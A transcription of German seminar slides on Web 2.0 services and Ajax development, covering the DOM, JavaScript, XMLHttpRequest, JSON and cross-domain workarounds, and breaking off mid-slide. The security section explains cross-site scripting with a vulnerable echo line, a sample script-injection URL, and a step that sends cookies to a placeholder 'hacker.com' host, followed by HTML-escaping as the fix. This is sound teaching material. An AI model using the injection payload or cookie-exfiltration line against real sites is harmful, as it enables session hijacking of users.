Moderne Webanwendungen mit Ajax und Web 2.0

Transcription

Moderne Webanwendungen mit Ajax und Web 2.0
Moderne Webanwendungen mit Ajax
und Web 2.0
Andreas Eberhart
Hewlett-Packard
Zum Referenten
l
Andreas Eberhart:
– Studierte Informatik in Ulm und Portland, Oregon
– Danach mehrere Jahre SW-Engineer in der Industrie
– 1998-2003 wiss. Mitarbeiter an der International
University Bruchsal
– Promotion 2003
– 2004 wiss. Mitarbeiter an der TH Karlsruhe
– Seit 2005 Senior Software Architekt für Server
Virtualisierung und Grid Technologien bei HP
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
2
Gesamtüberblick
1. Web 2.0 als Inbegriff eines neuen Netzverständnisses
2. Ajax: Asynchrone Interaktion zwischen Server und
Browser
3. Komponentenbasierte UIs mit Widgets
4. Weitere Web 2.0 Trends & Technologien
5. Integration von Anwendungen mit Mashups
6. Einordnung und Ausblick
Homepage des Seminars:
http://web.cecs.pdx.edu/~eberhart/web2.0/
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
3
Vorläufige Zeitplanung
1. Tag
2. Tag
9:00 – 10:30
Abschnitt 3
10:00 – 10:15
Begrüßung,
Vorstellung
10:30 – 11:00 Pause
10:15 – 11:45
Abschnitt 1
11:00 – 12:00 Abschnitt 4
11:45 – 13:00
Essen
12:00 – 13:15 Essen
13:00 – 14:30
Abschnitt 2
13:15 – 14:45 Abschnitt 5
14:30 – 15:00
Pause
14:45 – 15:00 Pause
15:00 – 17:00
Abschnitt 2
15:00 – 16:00 Abschnitt 6
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
4
Moderne Webanwendungen mit Ajax
und Web 2.0
Teil 1: Web 2.0 als Inbegriff eines neuen
Netzverständnisses
Andreas Eberhart
Hewlett-Packard
Überblick
l
l
l
Von statischem zu dynamischem und zu
inter-aktivem Content
Begriffsklärungen und Abgrenzung
Web 2.0 als neue Webkultur
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
6
Entwicklungsstadien des Webs
l
Phase 1
– Statische Inhalte (Visitenkarte einer Person / Firma
im Internet)
l
Phase 2
– Dynamische Anwendungen / E-Commerce
• eBay, Amazon, etc.
– Einbindung von Firmeninformationen und Prozessen
l
Phase 3 (Web 2.0)
– Massive Einbindung des einzelnen Nutzers
– Hoher Grad an Interaktivität in den Anwendungen
– Starke Verknüpfung von Informationen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
7
Definition Web 2.0
l
Der Begriff „Web 2.0“ wird Dale Dougherty
(O'Reilly-Verlag) und Craig Cline (MediaLive)
zugeschrieben
– keine klare Definition
– Überbegriff für eine Reihe von Techniken und
Diensten die die Nutzung des Webs verändern
– erste Web-2.0-Konferenz im Oktober 2004
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
8
Definition Web 2.0 Anhand von Beispielen
l
Web 1.0
–
–
–
–
–
l
DoubleClick
Ofoto
Britannica Online
Persönliche Webseiten
Content Management
Systeme
– Taxonomie
(Verzeichnisse)
Eberhart
Web 2.0
–
–
–
–
–
AdSense
Flickr
Wikipedia
Blogs
Wikis
– Folksonomy (Tagging)
Moderne Webanwendungen mit Ajax und Web 2.0
9
Eine Neue Generation von Internetnutzern
Ex Yahoo CEO Terry Semel über seine Töchter
(24, 19 und 13): The first does a lot on the internet,
the second does everything on the internet, and the
third “lives online” and has so many beeping
devices that I occasionally wonder whether she is
trafficking
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
10
Eine Neue Generation von Internetnutzern
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
11
YouTube
l
Kenndaten
– Für 1.6 Mrd US$ an Google verkauft die mit ihrem
Google Video Angebot auf Rang 3 waren
– Täglich 100 Mio downloads und 65000 neue Videos
– Name: Tube = Glotze, YouTube = Deine Glotze
l
Technik: Videos können
– über das Portal angesehen werden
– leicht in eigene Webseiten
eingebettet werden
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
12
YouTube
l
Inhalte
–
–
–
–
–
l
Mitschnitte aus Fernsehshows
Musikvideos
Witzige Heimvideos
Uni Vorlesungen
Copyright oft unklar
Medienverhalten der jungen
Generation verlagert sich
massiv vom Fernsehen
ins Internet
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
13
Flickr
l
Online Fotoalbum
– Upload per Browser, Fotohandy, Email
– Fotos können mit Metadaten (Tags) versehen
werden
– u.a. Geotagging
l
Kenndaten
– 2005 von Yahoo
gekauft
– 5000 Hits / Minute
– 3 Millionen registrierte
Benutzer
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
14
Technorati
l
Suchmaschine für blogs
– ein neuer blog jede Sekunde
– Verdoppelung alle 5 monate
– 50000 posts jede Stunde
l
Technik
– Page Rank analysiert
Cross Blog Links
– Blogger können
Technorati sofort über
neuen Blog informieren
(real time search)
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
15
Tag Cloud
l
zuerst von Flickr verwendet
– Fontgrösse gibt die Wichtigkeit eines Tags an
– Was ist ein Tag: Metadatum (z.B. auf dieser
Webseite geht es um Kochen -> website hat tag
Kochen)
l
Maße
– Voting / Popularität
l
Tag Cloud bei spiegel.de
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
16
Wikipedia
l
l
Englische Ausgabe mit 1 mio Artikeln und damit 12x
größer als Encyclopdia Britannica
Ausgaben in 200 Sprachen
– Gesamt 3 mio Artikel
l
100 000 contributors
– 4 mio edits
l
l
„Skandal“ um einen als Witz launcierten Artikel der
mehrere Monate unentdeckt online stand
Studie von Nature über die Qualität von Wikipedia –
untersucht wurden 42 Artikel zu Wissenschaftlichen
Themen
– http://www.nature.com/news/2005/051212/full/438900a.html
– im Schnitt 4 Ungenauigkeiten in Wikipedia
– im Schnitt 3 in Britannica
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
17
Soziale Netzwerke
l
Portal das die Beziehungen zwischen den Nutzern mit
in das Angebot einbezieht
–
–
–
–
l
Nutzer erstellen eigenes Profil
Andere Nutzer werden eingeladen
Strenge Rechteverwaltung
Trennung zwischen privaten und öffentlichen Inhalten
Vertrauensverhältnis
– Das Netzwerk lebt von
• der Qualität der Nutzerprofile
• dem Vertrauensverhältnis untereinander
l
Probleme
– Stalking / Belästigung der Mitglieder
– Data Mining durch NSA etc.
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
18
FaceBook
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
19
FaceBook
l
Soziales Netzwerk für Unis / Schulen
– Hohe Qualität der Einträge da Nutzer nur mit gültiger
.edu email ins System kommen
– Mit Fotoalbum und Blog
l
Kenndaten
–
–
–
–
Eberhart
#7 der am meisten besuchten US Internetseiten
9 Mio Nutzer
20000 neue Accounts täglich
Soll angeblich für ca. 1 Mrd US$ an Yahoo verkauft
werden
Moderne Webanwendungen mit Ajax und Web 2.0
20
MySpace
l
Soziales Netzwerk für Jedermann
– Benutzer können eigene Website u.a. mit eigenen
Film- und Musikbeiträgen gestalten
– Üblichen Merkmale wie Fotos, Profile, etc.
l
Kenndaten
–
–
–
–
Eberhart
2005 von Rupert Murdoch für 580 Mio US$ gekauft
105 Mio Mitglieder
Jede Woche 500.000 neue Mitglieder
Das Netzwerk wird angeblich bereits von der NSA zu
Recherchen genutzt
Moderne Webanwendungen mit Ajax und Web 2.0
21
del.icio.us
l
Verwaltet Internet Bookmarks
– Bookmarks können mit Tags beschrieben werden (z.B.
http://www.tim-maelzer.de/ hat das Tag „Kochen“)
– Bookmarks anderer Benutzer sind einsehbar
– Somit entsteht eine Art Ranking (Top 10 Bookmarks einer
gewissen Community)
l
Kenndaten
– 200.000 Nutzer
– 2005 von Yahoo gekauft
l
Technik
– REST API
– RSS Feed
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
22
SecondLife.com
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
23
SecondLife.com
l
Virtuelle Welt
– Der Spieler übt einen virtuellen Beruf aus
• Architekt, XML Coder, Tatooist, etc.
– Virtuelle Währung kann in US$ getauscht werden
– Verschmelzung der virtuellen mit der realen Welt
• „Suzanne Vega to Perform Live in Virtual 3D World“
• „Toyota is the first carmaker to enter Second Life. It has
been giving away free virtual vehicles of its Scion brand“
l
Kenndaten laut website
–
–
–
–
Eberhart
User: 911,356
In den letzten 60 tagen eingeloggt: 373,893
Online: 5,422
Umsatz in den letzten 24h: 349,359 US$
Moderne Webanwendungen mit Ajax und Web 2.0
24
Mashups
l
l
Erstellung neuer Webinhalte durch die nahtlose
Kombination bereits bestehender Webinhalte
Technologien
– Javascript als Integrationssprache
• Eventhandling
• Ansprechen diverser APIs
– APIs
• SOAP, REST, RSS
l
Technische Hürde: Cross Domain Restriktion im
Browser
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
25
Mashup
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
26
Moderne Webanwendungen mit Ajax
und Web 2.0
Teil 2: Ajax – Asynchrone Interaktion zwischen
Browser und Webserver
Andreas Eberhart
Hewlett-Packard
Überblick
l
l
l
l
l
l
l
l
Die Basis: Document Object Model (DOM),
JavaScript
Sicherheit / Privacy
Werkzuge
Ajax vs. Klassische Webentwicklung
Interaktive Anwendungen mit Ajax
Kompatibilität und Kosten der Entwicklung
Ajax Frameworks
Alternativen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
28
Document Object Model
l
Historie:
– HTML sollte dynamisch verändert werden können
– Dynamic HTML wurde in den 4er Browsern
ansatzweise implementiert
– Anfangs teilweise sehr unterschiedliche
Objektmodelle in den Browsern
– Standardisierung durch das W3C
l
W3C publizierte eine DOM Spezifikation
– Sowohl HTML als auch XML Teil
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
29
DOM Objektmodell
l
http://www.xulplanet.com/references/objref/
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
30
Parsen von Dokumenten: DOM API
l
Definiert Interfaces, die es erlauben die
Baumstruktur zu lesen und zu verändern
– Jedes Element und jedes Attribut kann durch das
Node Interface beschrieben werden
Node.getName()
Node.getChildNodes()
Node.getValue()
Node.getAttributes()
– Spezialfall: das gesamte Dokument
Document.getDocumentElement()
Document.getElementsByTagName()
l
Implementierungen in jeder Sprache möglich
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
31
DOM und Java
DOM Application
DOMParser parser = new DOMParser();
parser.parse(url);
Document d = parser.getDocument();
Node n = d.getDocumentElement();
XML
Document
DOM API
DOMParser Object
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
32
DOM und Javascript
JavaScript DOM Applikation
x = document.getElementById(“x”);
x.innerHTML = ...
DOM API
HTML
Dokument
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
33
Beispiele
l
DOM
– HTML Seite intern als DOM Baum repräsentiert
– Hierarchie kann via JavaScript gelesen und
modifiziert werden
l
Beispiel:
<form name=„form“><input name=„name“ type=„text“
value=„x“ id=„myid“>
document.form.name.value = „new value“;
document.getElementById(„myid“).value = ...
var p = document.createElement("p");
p.innerHTML = "dynamic text";
document.body.appendChild( p );
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
34
Scalable Vector Graphics (SVG)
l
W3C Standard um Vektorgrafiken im Browser
anzuzeigen:
– <body>
<svg:svg width="100" height="100">
<svg:circle cx="50" cy="50" r="50" fill="#ff0000"/>
</svg:svg>
</body>
– Kann ebenfalls per JavaScript + DOM manipuliert werden
l
Unterstützung im Browser
– Firefox / Opera können SVG nativ
– Internet Explorer braucht SVG plugins
• Adobe Plugin: wird 2008 eingestellt da Adobe auf
Macromedia Flash umstellt
• SVG Consortium stellt ebenfalls ein Plugin bereit
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
35
JavaScript
l
Historie
– 1995 von Netscape in den Navigator 2.0 eingebaut
– Hat trotz des Namens und der ähnlichen Syntax
wenig mit Java zu tun
– Der Name wurde aufgrund der damals beliebten
Java Applets gewählt
– 1997: Internet Explorer 4 unterstützt Javascript
– Javascript wird somit zum de facto Standard im Web
l
Ziel
– Dynamisches verhalten in Websites auch ohne
Kommunikation mit dem Server
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
36
Funktionsweise
l
Javascript wird
– in einer HTML Seite eingebettet um vom Server
geladen
– im Browser interpretiert
Browser
Webserver
Javascript
Interperter
<script src=‘x.js'></script>
HTML DOM
statischer JS
HTML + JS
<script>function foo() {…}</script>
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
37
Sprachelemente
l
Basiselemente
– for, while, if else
– Variablen (Objekte, Strings, Arrays, Primitive Typen)
– keine strenge Typisierung (var x = ...)
l
Javascript ist objektorientiert
– Ansprechen des DOMs
– Eigene Objekte „on the fly“ definieren: { „x“:1, „y“:2 }
– Fehlerbehandlung über try catch
l
Kleine Basisbibliothek
– encodeURIComponent(…)
– alert(...)
– ...
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
38
Funktionen
l
Javascript arbeitet (u.a. für AJAX) viel mit
callbacks
– Funktionen können als
Variable übergeben werden:
<script>
function add(a, b) {
return a+b;
}
function go(fn) {
alert(fn(1,2));
}
go(add);
</script>
l
Dynamisches Evaluieren
von (dynamisch
geladenem) Javascript
Eberhart
<script>
var x = …
eval( x );
</script>
Moderne Webanwendungen mit Ajax und Web 2.0
39
Überblick
l
l
l
l
l
l
l
l
Die Basis: Document Object Model (DOM),
JavaScript
Sicherheit / Privacy
Werkzuge
Ajax vs. Klassische Webentwicklung
Interaktive Anwendungen mit Ajax
Kompatibilität und Kosten der Entwicklung
Ajax Frameworks
Alternativen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
40
JavaScript Sicherheit
l
l
Javascript kann schnell zum Trojanischen Pferd werden
Javascript Interpreter erlauben
– HTTP Zugriffe nur auf den Host von dem das Skipt geladen wird
(vgl. TCP Verbindungen in Applets)
– Zugriffe nur innerhalb des eigenen DOMs
– Möglichkeit Skripte zu signieren
l
Durch die Komplexität finden sich selbstverständlich
immer Schwachstellen
– dynamisches Ausführen von Skripten mittels eval()
– Frames / Skripte aus unterschiedlichen Quellen
– Cross Site Scripting
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
41
JavaScript Sicherheit
l
Der Benutzer hat die Wahl
zwischen
– Komfort der Applikation
– Sicherheit / Privatsphäre
l
Browser bieten inzwischen
nicht nur Pop-up und
Werbe-Blocker sondern
auch Javascript Blocker an
(Noscript)
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
42
Nutzerverhalten Analysieren mit JS
l
Laut heise.de erzeugte Google für einige Zeit Javascript
in den Ergebnisseiten, die Google mitverfolgen liessen
auf welche Suchergebnisse der Nutzer klickt
– Komfort (Verbesserung der Google Algorithmen) vs. Privatshäre
l
Technische Realisierung
– <a href=„javascript:send(‚id‘, 1‚http://res‘)“>Ergebnis 1</a>
– function send( id, res, url ) {
ajaxCall(id, res, url)
document.location=url
}
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
43
Cross Site Scripting (XSS)
l
Sehr häufige Angriffsform mit der vornehmlich
cookies gestohlen werden können
– Sehr problematisch, da damit vom Hacker eine
bereits authentifizierte Session übernommen werden
kann
l
Schritte:
– Finde website mit XSS Lücke (URL Parameter wird
ungefiltert in die Ergebnisseite übernommen):
out.println( request.getParameter(„par“) );
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
44
Cross Site Scripting (XSS)
l
Schritte
– Über diese Schwachstelle kann man dem Benutzer
ein Skript unterjubeln, der scheinbar von einer
vertrauenswürdigen Site kommt:
http://trusted.com/xss.jsp?par=<script>alert(
document.cookie )</script>
– Das Skript hat somit Zugriffsrechte auf die Cookies
des Benutzers und kann diese per HTTP an den
Hacker weiterleiten
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
45
Cross Site Scripting (XSS)
1) schickt link + URL
encoded script
per email zum Nutzer
5) Übertrage Cookie per
HTTP Anfrage:
img.src=„hacker.com?cookie“
Nutzer
4) Skript hat
Zugriff auf
Cookies
Hacker
2) Nutzer klickt auf
den Link
Site mit XSS
Sicherheitslücke
3) Skript wird
in die Seite eingebettet
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
46
XSS Schwachstellen Beheben
l
Vor jeder Ausgabe muss die Zeichenkette
untersucht werden
– HTML Escaping verhindert das Ausführen fremden
Codes im Browser
Eberhart
>
&gt;
<
&lt;
&
&amp;
Moderne Webanwendungen mit Ajax und Web 2.0
47
Privacy
l
HTTP liefert jede Menge Informationen, die vom Server
verwertet werden können
– Cookies
• identifizieren den Browser / Benutzer mit jeder Anfrage
• Meldet man sich mit Name / Email an, kann jede HTTP
Anfrage der Person zugeordnet werden
– Referer
• geben an von welcher Seite man kommt
– HTTP Preload
• veranlasst den Browser Seiten vorab zu laden
l
In Verbindung mit JavaScript bieten sich viele
Möglichkeiten zur Überwachung
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
48
Google Analytics
l
Online Dienst mit dem ein Anbieter das
Nutzerverhalten analysieren kann
– wo kommen die User her?
– wie lange bleiben auf welcher Seite?
– wo springen sie ab?
Nutzer
HTML + Google
Analytics JS
Google
Host
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
49
Überblick
l
l
l
l
l
l
l
l
Die Basis: Document Object Model (DOM),
JavaScript
Sicherheit / Privacy
Werkzuge
Ajax vs. Klassische Webentwicklung
Interaktive Anwendungen mit Ajax
Kompatibilität und Kosten der Entwicklung
Ajax Frameworks
Alternativen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
50
Werkzeuge
l
Entwicklingswerkzeuge mit kontextsensitiver
Hilfe / Auto-completion
–
–
–
–
Eberhart
FrontPage
Visual Studio
Eclipse
etc.
Moderne Webanwendungen mit Ajax und Web 2.0
51
Werkzeuge
l
Mozilla / Firefox
– Einige Werkzeuge bereits integriert
– Andere als seperate „Extensions“
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
52
Werkzeuge
l
MS Werkzeuge bereits im Browser integriert
– muss über Optionen freigeschalter werden
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
53
JavaScript Werkzeuge - Firebug
l
Wohl das derzeit beste Javascript Werkzeug
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
54
Überblick
l
l
l
l
l
l
l
l
Die Basis: Document Object Model (DOM),
JavaScript
Sicherheit / Privacy
Werkzuge
Ajax vs. Klassische Webentwicklung
Interaktive Anwendungen mit Ajax
Kompatibilität und Kosten der Entwicklung
Ajax Frameworks
Alternativen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
55
AJAX vs. Klassische Webentwicklung
l
Klassische Webenwicklung
–
–
–
–
–
–
l
Benutzer springt von Seite zu Seite
Parameterübergabe per Formular
Seiten werden serverseitig dynamisch generiert
Server hät Benutzersession
Limitierte Verwendung von Skripten
Vorteil: einfaches Layout mit HTML, Applikation ist inhärent
verteilt und mehrbenutzerfähig
Klassische UI Entwicklung mit Swing / VB / etc.
– Client kontaktiert Applikationsserver
– Events, Callbacks, MVC, innerhalb der Applikation
– Vorteil: einfache Programmierung der Logik und des
Kontrollflusses
l
Kann das beste aus beiden Welten verschmolzen
werden?
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
56
AJAX vs. Klassische Webentwicklung
Quelle: http://de.wikipedia.org/
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
57
AJAX vs. Klassische Webentwicklung
Quelle: http://de.wikipedia.org/
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
58
Komponenten von Webanwendungen
Quelle: http://de.wikipedia.org/
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
59
Überblick
l
l
l
l
l
l
l
l
Die Basis: Document Object Model (DOM),
JavaScript
Sicherheit / Privacy
Werkzuge
Ajax vs. Klassische Webentwicklung
Interaktive Anwendungen mit Ajax
Kompatibilität und Kosten der Entwicklung
Ajax Frameworks
Alternativen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
60
RPC Middleware
l
Wie funktioniert die Kommunikation zwischen
JavaScript und Web Server?
– Wie wird eine Anfrage initiiert?
– Wie werden die Parameter kodiert?
– Wie wird das Ergebnis übertragen?
l
Analogie
– Middleware
– Remote Procedure Call
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
61
RPC Middleware
Client
Entwickler
Aufruf
Middleware
Stub
Middleware
Sender
Eberhart
Server
x = foo(y);
foo() { }
foo(y) {
ser(y)
send
receive
x=deser
return x
}
forever {
receive
y=deser
x = foo(y)
ser x
send
}
request
delivery
path
Moderne Webanwendungen mit Ajax und Web 2.0
Entwickler
Implementierung
Middleware
Skeleton
Middleware
Dispatcher
62
(De)Serialisierung
l
Jede Middleware muss Speicherstrukturen einer
Programmeirsprache in eine serialisierte Form
und wieder zurück wandeln können
– Format ist entscheidend für den Cross Language
Support
– Möglichkeiten
• XML
• JSON
• ASCII / HTML
• Javascript (dynamisch ausführbarer Code)
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
63
XML
l
XML ist im Web natürlich die erste Wahl für das
Übertragungsformat
– Viele Werkzeuge
– Basis von Web Services / SOA
– Weiterverarbeitung mit
• XML Schema
• XSLT
• XPath
l
Datenzugriff und –erzeugung per DOM
– Nicht unbedingt einfach
– Es fehlt auf JavaScriptseite an Mappingwerkzeugen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
64
JavaScript Object Notation (JSON)
l
Alternatives Datenformat zu XML
– Verbraucht weniger Platz als XML
– Kann mit JavaScript wesentlich einfacher verarbeitet
werden
– Nachteil: derzeit geringere Verbreitung vgl. mit XML
– Nachteil: Yet another markup language (YAML)
l
Aufbau
– Objekte werden in { } geschrieben, Arrays in [ ]
– Felder eines Objekts schreibt man als name : wert
"Alter" : 56
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
65
JavaScript Object Notation (JSON)
l
Beispiel
<script>
var json = ' { "x" : 4, "y" : 6 } ';
var o = eval("(" + json + ")");
alert( o.x );
</script>
l
l
l
Vorteil: Einfacher als DOM / XML
d.getDocumentElement().getChildNodes().item(0).value
Problem: Mangelnde Sicherheit wegen „eval“
Anwendung:
– Webdienst bietet JSON Format als Ausgabe
– JavaScript kontaktiert den Dienst via AJAX
– JavaScript kann strukturierte Daten per JSON leicht
werterverarbeiten
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
66
ACSII
l
l
Einfache Daten werden oft als ASCII übertragen
Beispiel
– wert
– wert1,wert2,wert3
l
Weit verbreitet: HTML String
– response = <p>server generated HTML</p>
– output.innerHTML = response;
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
67
Transport
l
Nachdem die Daten serialisiert sind folgt die
Übertragung
– Erfolgt im Web natürlich über HTTP
l
Wichtige Grundlage
– HTTP Basic Authentication
– HTTPS
l
Verschiedene Möglichkeiten der Übertragung
– SOAP
– XML-RPC
– REST
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
68
SOAP
l
l
l
SOAP stammt von Microsoft
In der Entwicklung seit etwa 1997; seit 1998
existiert der Name SOAP (Simple Object
Access Protocol)
Hat sich gegen große hausinterne Konkurrenz
durchgesetzt:
– DCOM als Microsofts Distributed Computing Ansatz
– BizTalk (später: Integration der Ideen)
l
Heute W3C-Standard (XML Protocol Working
Group)
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
69
SOAP-Nachrichten
l
l
l
Eine SOAP-Nachricht besteht
zunächst auf der obersten
Ebene aus einem Envelope.
Der Envelope enthält einen
optionalen Header sowie die
eigentliche Nachricht im SOAP
Body.
Aufgabe des Headers: Infos
über Transaktionskontexte,
Authentifizierung,
Autorisierung, Routing- und
Auslieferungsinformationen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
SOAP Envelope
SOAP Header
Header Block
Header Block
SOAP Body
Message Body
70
XML-RPC
l
Leichtgewichtige Variante zu SOAP
– Basiert lediglich auf HTTP
– Unterstützt kein Routing / XML Security / etc.
l
Einbindung in Programmiersprachen
– Stubs und Skeletons werden erzeugt
– Benutzer muss kein XML „sprechen“
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
71
XML-RPC: Mapping
XML
<Koordinate>
<x>3</x>
<y>8</y>
</Koordinate>
Objektinstanzen
Datenbank Tuple
Koordinate
new Koordinate(...)
3
Eberhart
8
Moderne Webanwendungen mit Ajax und Web 2.0
...
...
3
8
...
...
72
XML-RPC: Mapping Beispiel mit JAXB
l
Beispiel
– JAXB übernimmt das Mapping von XML Schema
nach Java
– DOM Programmierung nicht mehr nötig
Koordinate koord =
(Koordinate)unmarshaller.unmarshal(new File("koord.xml"));
System.out.println( "X = " + koord.getX() );
System.out.println( "Y = " + koord.getY() );
m.marshal( koord, System.out );
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
73
REST
l
Wohl die einfachste Form eines Webbasierten
RPC
– Erweitertes HTTP
– Anfrage ist lediglich eine URL mit kodierten
Parametern
HTML
– Ausgabe ist XML
l
Weiterverarbeitung meist nicht per
automatischem Mapping in eine
Programmiersprache
XML
– DOM
– XSLT
Eberhart
Client
XSLT
Server
Moderne Webanwendungen mit Ajax und Web 2.0
74
REST Beispiel
Inputs: Addresse
Format des outputs
Dev Key
Output: Details der
Addresse als
XML / JSON
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
75
Aufruf vom Browser
l
Wie erfolgt der HTTP Aufruf vom Browser?
– Nutzer soll auf der momentanen Seite bleiben
– Aufruf wird von JavaScript gesteuert
l
Möglichkeiten
– IFrames
– On Demand Javascript
– XMLHttpRequest
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
76
Hidden IFrames
l
Kommunikation mit dem Server erfolgt über einen nicht
sichtbaren IFrame
– Parameterübertragung per <form target=„hidIframe“>
– Hauptseite wird nicht verlassen
l
Nachteil
– Beeinflusst die Borwser Historie
1. Setze
neue URL
JS funktion
1. Setze
neue URL
iframe
lese DOM
3. skript
wird ausgeführt
2. <script>action(…)</script>
Eberhart
JS funktion
Server
Moderne Webanwendungen mit Ajax und Web 2.0
iframe
3. onload
event
daten
77
XMLHttpRequest
l
Eleganteste Variante um von Skripten aus
HTTP Requests abzusetzen
– Eingeführt im Internet Explorer 5
– Inzwischen von allen gängigen Browsern unterstützt
var req;
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject("Microsoft.XMLHTTP");
req.onreadystatechange = function() {
if (req.readyState == 4 && req.status == 200)
alert( “done” + req.responseText );
}
req.open("GET", url );
req.send(null);
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
78
XMLHttpRequest Beispiel
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
79
XMLHttpRequest und XML
l
XMLHttpRequest bietet zwei Möglichkeiten auf das
Ergebnis zuzugreifen
– responseText (direkter Zugriff auf den Text)
– responseXML (DOM Zugriff auf den geparsten XML Baum)
Name des Wurzelelements
req.responseXML.documentElement.nodeName
Wert des ersten x Elements: z.B. <x>34</x> ergibt 34
req.responseXML.documentElement.
getElementsByTagName("x").item(0).firstChild.data );
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
80
Cross Domain Restriction
l
XMLHttpRequst ist
– einfach
– für JavaScript „relativ“ elegant
l
Dennoch haben andere Mechanismen ihre
Daseinsberechtigung
– XMLHttpRequest darf aus Sicherheitsgründen nur
zum Ausgangshost gerichtet werden
– Problem für Mashups da dort Daten von anderen
Hosts kommen sollen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
81
Lösung für Cross Domain Restriction
l
Server Proxies
– Daten von drittanbieter werden vom Server geladen
– Vorsicht: kann legale Probleme machen, da juristisch
der Proxybetreiber haftet
Browser
Proxy JSP, CGI, o.Ä.
Drittanbieter
l
On demand JavaScript
– der Browser wird quasi ausgetrickst
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
82
On-Demand Javascript
l
Grundidee:
– Code kann per JavaScript nachgeladen werden
– Code wird ausgeführt sobald Browser mit dem Laden fertig ist
l
Anwendung
– Schnellere UIs durch lazy loading
– RPC
JS funktion
head
1. erzeuge
neues script
element
head = document.getElementsByTagName("head").item(0);
var oScript = document.createElement("script");
oScript.setAttribute("src", url);
head.appendChild(oScript);
3. skript
wird ausgeführt
2. <script>action(…)</script>
Eberhart
Server
Moderne Webanwendungen mit Ajax und Web 2.0
83
On-Demand JavaScript – Beispiel
<html>
<head>
<script>
function go( par )
{
var head = document.getElementsByTagName("head").item(0);
var oScript = document.createElement("script");
oScript.setAttribute("src",
"http://www.google.com/complete/search?hl=en&js=true&qu=" +
encodeURIComponent( par ));
head.appendChild(oScript);
}
function sendRPCDone(fr,is,cs,ds,pr)
{
output.innerHTML = cs;
}
</script>
</head>
<body>
<input type="text" id="input“
onkeyup="javascript:go( document.getElementById('input').value )">
<div id="output">
</body>
</html>
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
84
Überblick
l
l
l
l
l
l
l
l
Die Basis: Document Object Model (DOM),
JavaScript
Sicherheit / Privacy
Werkzuge
Ajax vs. Klassische Webentwicklung
Interaktive Anwendungen mit Ajax
Kompatibilität und Kosten der Entwicklung
Ajax Frameworks
Alternativen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
85
Kompatibilität und Kosten der Entwicklung
l
Frage:
– soll / kann / muss man bei der Entwicklung auf Ajax
setzen?
l
Entscheidungskriterien
– Intranet / Internet?
– Wie wichtig ist es auch alte Browser vollständig zu
unterstützen?
– Kann man die Benutzer zwingen JavaScript zu
aktivieren?
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
86
Unterstützung von XMLHttpRequest
Quelle: http://de.wikipedia.org/
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
87
Kompatibilität und Kosten der Entwicklung
l
